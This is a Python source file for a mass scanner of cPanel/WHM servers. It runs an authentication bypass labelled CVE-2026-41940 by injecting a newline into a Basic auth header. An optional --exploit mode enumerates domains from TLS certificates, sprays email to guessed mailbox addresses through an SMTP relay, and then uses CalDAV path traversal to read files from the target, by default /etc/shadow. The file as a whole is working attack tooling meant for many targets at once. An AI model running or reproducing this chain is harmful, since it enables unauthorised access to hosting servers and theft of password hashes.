scanner.py

import argparse
import base64
import configparser
import http.client
import json
import os
import re
import smtplib
import socket
import ssl
import subprocess
import sys
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import quote, unquote

import requests
import urllib3
from tqdm import tqdm

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

DEFAULT_USERS = [
    "root", "admin", "cpanel", "webmaster", "test",
    "guest", "info", "user", "example",
]
MARKER = b"msg_code:[expired_session]"
DEFAULT_TIMEOUT = 15
DEFAULT_PORTS = [2087, 2083, 443]

CALDAV_DEFAULT_PORTS = [2080, 2079]
CALDAV_DEFAULT_FOLDER = "x-attachment-1-y"
CALDAV_DEFAULT_READ_FILE = "/etc/shadow"
CALDAV_DEFAULT_WAIT_LADDER = [5, 10, 20, 30]
CALDAV_DEFAULT_EMAIL_PREFIXES = [
    "info", "admin", "contact", "support", "sales",
    "help", "office", "mail", "hello", "billing",
    "webmaster", "postmaster", "accounts", "service",
]
CALDAV_PROVIDER_PATTERNS = [
    "hostingplatform", "stableserver", "mysecurecloudhost",
    "web-hosting.com", "cprapid.com", "secureserver",
    "bluehost", "hostgator", "godaddy", "siteground",
]
CALDAV_SERVICE_PREFIXES = (
    "cpcalendars.", "cpcontacts.", "cpanel.",
    "webmail.", "webdisk.", "mail.", "www.",
    "autodiscover.", "whm.", "autoconfig.",
)

NET_ERRORS = (
    requests.exceptions.ConnectionError,
    requests.exceptions.Timeout,
    requests.exceptions.SSLError,
)

STATUS_VULNERABLE = "VULNERABLE"
STATUS_NOT_VULNERABLE = "NOT_VULNERABLE"
STATUS_CONNECTION_FAILED = "CONNECTION_FAILED"

CHECK_41940 = "cve-2026-41940"
CHECK_CALDAV = "caldav-traversal"

IP_RE = re.compile(r"^\d+\.\d+\.\d+\.\d+$")


def attempt(host, port, prefix, cookie_name, user, timeout):
    base = f"https://{host}:{port}{prefix}"
    r = requests.get(
        f"{base}/login",
        verify=False, timeout=timeout, allow_redirects=False,
    )
    m = re.search(rf"{cookie_name}=([^;]+)", r.headers.get("Set-Cookie", ""))
    if not m:
        return False
    cookie = m.group(1)
    if "," not in unquote(cookie):
        return False
    sn = unquote(cookie).split(",")[0]

    auth = base64.b64encode(user.encode() + b":\xff\nexpired=1").decode()
    r = requests.get(
        f"{base}/",
        verify=False, timeout=timeout, allow_redirects=False,
        headers={
            "Authorization": f"Basic {auth}",
            "Cookie": f"{cookie_name}={quote(sn, safe='')}",
        },
    )
    m = re.search(r"/(cpsess\d+)", r.headers.get("Location", ""))
    if not m:
        return False
    token = "/" + m.group(1)

    r = requests.get(
        f"{base}{token}/",
        verify=False, timeout=timeout, allow_redirects=False,
        headers={"Cookie": f"{cookie_name}={cookie}"},
    )
    return MARKER in r.content


def scan(host, port, prefix, cookie_name, users, threads, timeout):
    connected = False
    with ThreadPoolExecutor(max_workers=threads) as pool:
        futs = [
            pool.submit(attempt, host, port, prefix, cookie_name, u, timeout)
            for u in users
        ]
        for f in as_completed(futs):
            try:
                if f.result():
                    return True
                connected = True
            except NET_ERRORS:
                pass
    if not connected:
        raise requests.exceptions.ConnectionError()
    return False


def random_user():
    return "u" + os.urandom(5).hex()


def probe_endpoint(host, port, users, threads, timeout):
    if port == 2087:
        return scan(host, port, "", "whostmgrsession",
                    [random_user()], 1, timeout)
    if port == 2083:
        return scan(host, port, "", "cpsession",
                    users, threads, timeout)

    whm_ok = cp_ok = False
    try:
        if scan(host, port, "/___proxy_subdomain_whm", "whostmgrsession",
                [random_user()], 1, timeout):
            return True
        whm_ok = True
    except NET_ERRORS:
        pass
    try:
        if scan(host, port, "/___proxy_subdomain_cpanel", "cpsession",
                users, threads, timeout):
            return True
        cp_ok = True
    except NET_ERRORS:
        pass
    if not (whm_ok or cp_ok):
        raise requests.exceptions.ConnectionError()
    return False


def check_41940(host, ports, users, threads, timeout):
    any_connected = False
    for port in ports:
        try:
            if probe_endpoint(host, port, users, threads, timeout):
                return {"check": CHECK_41940,
                        "status": STATUS_VULNERABLE,
                        "detail": {"port": port}}
            any_connected = True
        except NET_ERRORS:
            continue
        except Exception:
            any_connected = True
            continue
    if not any_connected:
        return {"check": CHECK_41940,
                "status": STATUS_CONNECTION_FAILED, "detail": {}}
    return {"check": CHECK_41940,
            "status": STATUS_NOT_VULNERABLE, "detail": {}}


def _ssl_ctx():
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    return ctx


def _strip_service_prefix(d):
    for prefix in CALDAV_SERVICE_PREFIXES:
        if d.startswith(prefix):
            return d[len(prefix):]
    return d


def _cert_san_domains(host, port, timeout):
    try:
        with socket.create_connection((host, port), timeout=timeout) as sock:
            with _ssl_ctx().wrap_socket(sock, server_hostname=host) as ssock:
                cert = ssock.getpeercert(binary_form=True)
    except Exception:
        return set()
    try:
        proc = subprocess.run(
            ["openssl", "x509", "-inform", "DER", "-noout", "-text"],
            input=cert, capture_output=True, timeout=10,
        )
    except Exception:
        return set()
    text = proc.stdout.decode(errors="replace")
    domains = set()
    for m in re.finditer(r"DNS:([^\s,]+)", text):
        d = m.group(1).strip().lower()
        if d.startswith("*."):
            d = d[2:]
        d = _strip_service_prefix(d)
        if "." in d and not re.match(r"^[\d\-]+\.", d):
            domains.add(d)
    return domains


def caldav_get_domains(host, timeout):
    for port in (2080, 443, 2083):
        domains = _cert_san_domains(host, port, timeout)
        if domains:
            return sorted(domains)
    return []


def caldav_send_smtp_batch(emails, folder_name, smtp_cfg, log):
    if not emails:
        return []
    sent = []
    try:
        smtp = smtplib.SMTP(smtp_cfg["host"], smtp_cfg["port"], timeout=10)
        smtp.ehlo(smtp_cfg["from_addr"].split("@")[-1])
        smtp.starttls()
        smtp.ehlo()
        smtp.login(smtp_cfg["user"], smtp_cfg["password"])
        for email in emails:
            local, _, domain = email.partition("@")
            target = f"{local}+{folder_name}@{domain}"
            try:
                smtp.mail(smtp_cfg["from_addr"])
                code, _ = smtp.rcpt(target)
                if code == 250:
                    smtp.data(
                        f"From: {smtp_cfg['from_addr']}\r\n"
                        f"To: {target}\r\n"
                        f"Subject: .\r\n"
                        f"Date: Thu, 1 Jan 2026 00:00:00 +0000\r\n"
                        f"\r\n.\r\n"
                    )
                    sent.append(email)
                else:
                    smtp.rset()
            except smtplib.SMTPException:
                try:
                    smtp.rset()
                except Exception:
                    break
        smtp.quit()
    except Exception as e:
        log(f"    SMTP error: {e}")
    return sent


def caldav_build_url(principal, domain, local_part, file_path, folder_name,
                    collection):
    parts = [".."] * 3
    parts.extend(["mail", domain, local_part, f".{folder_name}", "new"])
    parts.extend([".."] * 9)
    parts.extend(file_path.lstrip("/").split("/"))
    return f"/calendars/{principal}/{collection}/{'%2F'.join(parts)}"


def caldav_try_read(host, url_path, ports, timeout):
    for port in ports:
        try:
            if port == 2080:
                conn = http.client.HTTPSConnection(host, port, timeout=timeout,
                                                   context=_ssl_ctx())
            else:
                conn = http.client.HTTPConnection(host, port, timeout=timeout)
            conn.request("GET", url_path)
            resp = conn.getresponse()
            data = resp.read()
            conn.close()
            if resp.status == 200 and data and not data.startswith(b"<html>"):
                return data
        except Exception:
            pass
    return None


def _caldav_read_loop(host, sent_emails, caldav_cfg, timeout, log):
    """Walk the retry ladder, attempting reads against each sent email."""
    folder = caldav_cfg["folder_name"]
    read_file = caldav_cfg["read_file"]
    ports = caldav_cfg["ports"]
    wait_ladder = caldav_cfg["wait_ladder"]

    for i, wait in enumerate(wait_ladder, 1):
        time.sleep(wait)
        log(f"  [caldav] read attempt {i}/{len(wait_ladder)} ({wait}s wait)")
        for email in sent_emails:
            local, _, domain = email.partition("@")
            for collection in ("calendar", "addressbook"):
                url = caldav_build_url(email, domain, local, read_file,
                                       folder, collection)
                data = caldav_try_read(host, url, ports, timeout)
                if data:
                    return {"check": CHECK_CALDAV,
                            "status": STATUS_VULNERABLE,
                            "detail": {
                                "email": email,
                                "domain": domain,
                                "collection": collection,
                                "file": read_file,
                                "bytes": len(data),
                                "preview": data[:200].decode(errors="replace"),
                            }}
    return None


def check_caldav(host, caldav_cfg, smtp_cfg, timeout, log, target_emails=None):
    folder = caldav_cfg["folder_name"]

    if target_emails:
        log(f"  [caldav] targeted mode: {len(target_emails)} explicit email(s)")
        sent = caldav_send_smtp_batch(target_emails, folder, smtp_cfg, log)
        if not sent:
            return {"check": CHECK_CALDAV,
                    "status": STATUS_NOT_VULNERABLE,
                    "detail": {"reason": "SMTP rejected all targeted recipients"}}
        log(f"  [caldav] sent {len(sent)} email(s) via {smtp_cfg['host']}")
        finding = _caldav_read_loop(host, sent, caldav_cfg, timeout, log)
        if finding:
            return finding
        return {"check": CHECK_CALDAV,
                "status": STATUS_NOT_VULNERABLE,
                "detail": {"reason": "targeted read attempts returned nothing"}}

    domains = caldav_get_domains(host, timeout)

    if "." in host and not IP_RE.match(host) and host not in domains:
        domains.append(host)

    customer = [d for d in domains
                if not any(p in d for p in CALDAV_PROVIDER_PATTERNS)]
    domains = customer or domains

    if not domains:
        return {"check": CHECK_CALDAV,
                "status": STATUS_NOT_VULNERABLE,
                "detail": {"reason": "no domains in cert"}}

    log(f"  [caldav] domains: {', '.join(domains[:5])}"
        + ("..." if len(domains) > 5 else ""))

    base_prefixes = caldav_cfg["email_prefixes"]

    for domain in domains[:3]:
        first = domain.split(".")[0]
        guesses = list(dict.fromkeys([first, first[:8]]))
        prefixes = list(dict.fromkeys(guesses + list(base_prefixes)))[:15]
        emails = [f"{p}@{domain}" for p in prefixes]

        log(f"  [caldav] spraying {len(emails)} emails for {domain}")
        sent = caldav_send_smtp_batch(emails, folder, smtp_cfg, log)
        if not sent:
            log(f"  [caldav] SMTP failed or no recipients accepted for {domain}")
            continue
        log(f"  [caldav] sent {len(sent)} emails via {smtp_cfg['host']}")

        finding = _caldav_read_loop(host, sent, caldav_cfg, timeout, log)
        if finding:
            return finding

    return {"check": CHECK_CALDAV,
            "status": STATUS_NOT_VULNERABLE,
            "detail": {"reason": "no folder/file combination read"}}


def scan_target(target, opts):
    host, _, port_str = target.partition(":")
    host = host.strip()
    if not host:
        return target, [{"check": "input",
                         "status": STATUS_CONNECTION_FAILED, "detail": {}}]

    log = (lambda msg: print(msg, flush=True)) if opts["verbose"] else (lambda _msg: None)

    findings = []
    if not opts["caldav_only"]:
        ports = [int(port_str)] if port_str else opts["ports"]
        findings.append(check_41940(host, ports, opts["users"],
                                    opts["threads"], opts["timeout"]))

    if opts["exploit"]:
        findings.append(check_caldav(host, opts["caldav_cfg"],
                                     opts["smtp_cfg"], opts["timeout"], log,
                                     target_emails=opts["target_emails"]))

    return target, findings


def load_targets(args):
    targets = []
    if args.target:
        targets.extend(args.target)
    if args.targets_file:
        with open(args.targets_file) as f:
            targets.extend(line.strip() for line in f if line.strip()
                           and not line.startswith("#"))
    if not sys.stdin.isatty() and not args.target and not args.targets_file:
        targets.extend(line.strip() for line in sys.stdin if line.strip())
    seen = set()
    deduped = []
    for t in targets:
        if t not in seen:
            seen.add(t)
            deduped.append(t)
    return deduped


def load_config(path):
    smtp_cfg = {}
    caldav_overrides = {}
    if path:
        cfg = configparser.ConfigParser()
        cfg.read(path)
        if cfg.has_section("smtp"):
            s = cfg["smtp"]
            smtp_cfg = {
                "host": s.get("host", ""),
                "port": s.getint("port", 587),
                "user": s.get("user", ""),
                "password": s.get("password", ""),
                "from_addr": s.get("from_addr", ""),
            }
        if cfg.has_section("caldav"):
            c = cfg["caldav"]
            if "read_file" in c:
                caldav_overrides["read_file"] = c["read_file"]
            if "folder_name" in c:
                caldav_overrides["folder_name"] = c["folder_name"]
            if "ports" in c:
                caldav_overrides["ports"] = [
                    int(x) for x in c["ports"].split(",") if x.strip()
                ]
            if "wait_ladder" in c:
                caldav_overrides["wait_ladder"] = [
                    int(x) for x in c["wait_ladder"].split(",") if x.strip()
                ]
            if "email_prefixes" in c:
                caldav_overrides["email_prefixes"] = [
                    x.strip() for x in c["email_prefixes"].split(",")
                    if x.strip()
                ]
    env_pw = os.environ.get("SCANNER_SMTP_PASSWORD")
    if env_pw and not smtp_cfg.get("password"):
        smtp_cfg["password"] = env_pw
    return smtp_cfg, caldav_overrides


def build_caldav_cfg(overrides, read_file_cli):
    cfg = {
        "read_file": CALDAV_DEFAULT_READ_FILE,
        "folder_name": CALDAV_DEFAULT_FOLDER,
        "ports": list(CALDAV_DEFAULT_PORTS),
        "wait_ladder": list(CALDAV_DEFAULT_WAIT_LADDER),
        "email_prefixes": list(CALDAV_DEFAULT_EMAIL_PREFIXES),
    }
    cfg.update(overrides)
    if read_file_cli:
        cfg["read_file"] = read_file_cli
    return cfg


def require_smtp(smtp_cfg):
    required = ("host", "port", "user", "password", "from_addr")
    missing = [k for k in required if not smtp_cfg.get(k)]
    if missing:
        raise SystemExit(
            f"--exploit requires SMTP config; missing: {', '.join(missing)}. "
            f"Provide via --config (see scanner.ini.example) or set "
            f"SCANNER_SMTP_PASSWORD for the password."
        )


def format_finding_line(target, finding):
    check = finding["check"]
    status = finding["status"]
    detail = finding["detail"]
    if status == STATUS_VULNERABLE:
        extra = ""
        if check == CHECK_41940 and detail.get("port"):
            extra = f" (port {detail['port']})"
        elif check == CHECK_CALDAV:
            extra = (f" via {detail.get('email', '?')} "
                     f"(read {detail.get('bytes', 0)}b from "
                     f"{detail.get('file', '?')})")
        return f"[!] {target}  {check}  VULNERABLE{extra}"
    if status == STATUS_NOT_VULNERABLE:
        return f"[+] {target}  {check}  NOT VULNERABLE"
    if status == STATUS_CONNECTION_FAILED:
        return f"[?] {target}  {check}  CONNECTION FAILED"
    return f"[?] {target}  {check}  {status}"


def overall_status(findings):
    if any(f["status"] == STATUS_VULNERABLE for f in findings):
        return STATUS_VULNERABLE
    if any(f["status"] == STATUS_NOT_VULNERABLE for f in findings):
        return STATUS_NOT_VULNERABLE
    return STATUS_CONNECTION_FAILED


def main():
    p = argparse.ArgumentParser(
        description="cPanel/WHM vulnerability scanner. Default: CVE-2026-41940 "
                    "detection only (no side effects). With --exploit: also "
                    "runs the CalDAV path-traversal chain (sends real SMTP "
                    "and reads files from confirmed targets).",
    )
    p.add_argument("target", nargs="*",
                   help="One or more targets (host or host:port). "
                        "Can also be supplied via -f or stdin.")
    p.add_argument("-f", "--targets-file",
                   help="File containing one target per line.")
    p.add_argument("-u", "--users", default=",".join(DEFAULT_USERS),
                   help="Comma-separated cPanel usernames for the 41940 "
                        "cPanel surface.")
    p.add_argument("-U", "--users-file",
                   help="File containing one cPanel username per line.")
    p.add_argument("-t", "--threads", type=int, default=10,
                   help="Per-target thread count for the 41940 username scan.")
    p.add_argument("-c", "--concurrency", type=int, default=20,
                   help="Number of targets to scan in parallel.")
    p.add_argument("-T", "--timeout", type=int, default=DEFAULT_TIMEOUT,
                   help="Per-request timeout in seconds.")
    p.add_argument("-p", "--ports",
                   help="Comma-separated ports for the 41940 check. Defaults "
                        f"to {','.join(str(x) for x in DEFAULT_PORTS)}.")
    p.add_argument("-o", "--output",
                   help="Write vulnerable targets (one per line) to this file.")
    p.add_argument("--json",
                   help="Write all results in JSON Lines format to this file.")
    p.add_argument("-q", "--quiet", action="store_true",
                   help="Only print VULNERABLE findings on stdout.")
    p.add_argument("--no-progress", action="store_true",
                   help="Disable the progress bar.")

    p.add_argument("--exploit", action="store_true",
                   help="Enable the CalDAV path-traversal chain. ACTIVE: "
                        "sends real SMTP emails through the configured relay "
                        "and reads files from confirmed targets.")
    p.add_argument("--config",
                   help="INI config file (SMTP relay creds, CalDAV defaults). "
                        "See scanner.ini.example.")
    p.add_argument("--read-file",
                   help="File path to exfiltrate when --exploit succeeds. "
                        "Overrides config. Default: /etc/shadow (root-only, "
                        "so an empty body indicates the cPanel 11.134.0.26 "
                        "priv-drop fix is in place). Use /etc/passwd to test "
                        "traversal reachability without distinguishing "
                        "patched/unpatched.")
    p.add_argument("--caldav-only", action="store_true",
                   help="Skip the 41940 check. Implies --exploit.")
    p.add_argument("--email", action="append", default=[], metavar="ADDR",
                   help="Known virtual email on the target. Skips cert SAN "
                        "enumeration and the spray wordlist; sends one "
                        "message to ADDR and attempts the read against that "
                        "principal. May be repeated. Implies --exploit. "
                        "Catch-all addresses do not work — ADDR must be a "
                        "real virtual user in cPanel's email accounts.")
    p.add_argument("-v", "--verbose", action="store_true",
                   help="Verbose progress logging for the CalDAV chain.")

    args = p.parse_args()

    targets = load_targets(args)
    if not targets:
        p.error("no targets provided (use positional args, -f, or stdin)")

    if args.users_file:
        with open(args.users_file) as f:
            users = [line.strip() for line in f
                     if line.strip() and not line.startswith("#")]
    else:
        users = [u.strip() for u in args.users.split(",") if u.strip()]
    if not users:
        p.error("user list is empty")

    if args.ports:
        ports = [int(x) for x in args.ports.split(",") if x.strip()]
    else:
        ports = DEFAULT_PORTS

    if args.caldav_only or args.email:
        args.exploit = True

    if args.email:
        for addr in args.email:
            if "@" not in addr or addr.startswith("@") or addr.endswith("@"):
                p.error(f"--email value {addr!r} is not a valid address")

    smtp_cfg, caldav_overrides = load_config(args.config)
    caldav_cfg = build_caldav_cfg(caldav_overrides, args.read_file)

    if args.exploit:
        require_smtp(smtp_cfg)

    opts = {
        "ports": ports,
        "users": users,
        "threads": args.threads,
        "timeout": args.timeout,
        "exploit": args.exploit,
        "caldav_only": args.caldav_only,
        "smtp_cfg": smtp_cfg,
        "caldav_cfg": caldav_cfg,
        "target_emails": args.email,
        "verbose": args.verbose,
    }

    out_fh = open(args.output, "w") if args.output else None
    json_fh = open(args.json, "w") if args.json else None

    vuln_targets = 0
    clean_targets = 0
    failed_targets = 0
    show_progress = not args.no_progress and sys.stderr.isatty()

    try:
        with ThreadPoolExecutor(max_workers=args.concurrency) as pool:
            futs = {pool.submit(scan_target, t, opts): t for t in targets}
            it = as_completed(futs)
            if show_progress:
                it = tqdm(it, total=len(futs), unit="target",
                          desc="scanning", file=sys.stderr,
                          dynamic_ncols=True, leave=False)

            for f in it:
                target, findings = f.result()
                status = overall_status(findings)
                if status == STATUS_VULNERABLE:
                    vuln_targets += 1
                    if out_fh:
                        out_fh.write(f"{target}\n")
                        out_fh.flush()
                elif status == STATUS_NOT_VULNERABLE:
                    clean_targets += 1
                else:
                    failed_targets += 1

                for finding in findings:
                    if args.quiet and finding["status"] != STATUS_VULNERABLE:
                        continue
                    line = format_finding_line(target, finding)
                    if show_progress:
                        it.write(line)
                    else:
                        print(line, flush=True)

                if json_fh:
                    rec = {"target": target, "status": status,
                           "findings": findings}
                    json_fh.write(json.dumps(rec) + "\n")
                    json_fh.flush()
    except KeyboardInterrupt:
        print("\n[!] interrupted", file=sys.stderr)
        sys.exit(130)
    finally:
        if out_fh:
            out_fh.close()
        if json_fh:
            json_fh.close()

    summary = (f"scanned={len(targets)} vulnerable={vuln_targets} "
               f"not_vulnerable={clean_targets} "
               f"connection_failed={failed_targets}")
    print(summary, file=sys.stderr)

    if vuln_targets > 0:
        sys.exit(0)
    if clean_targets > 0:
        sys.exit(1)
    sys.exit(2)


if __name__ == "__main__":
    main()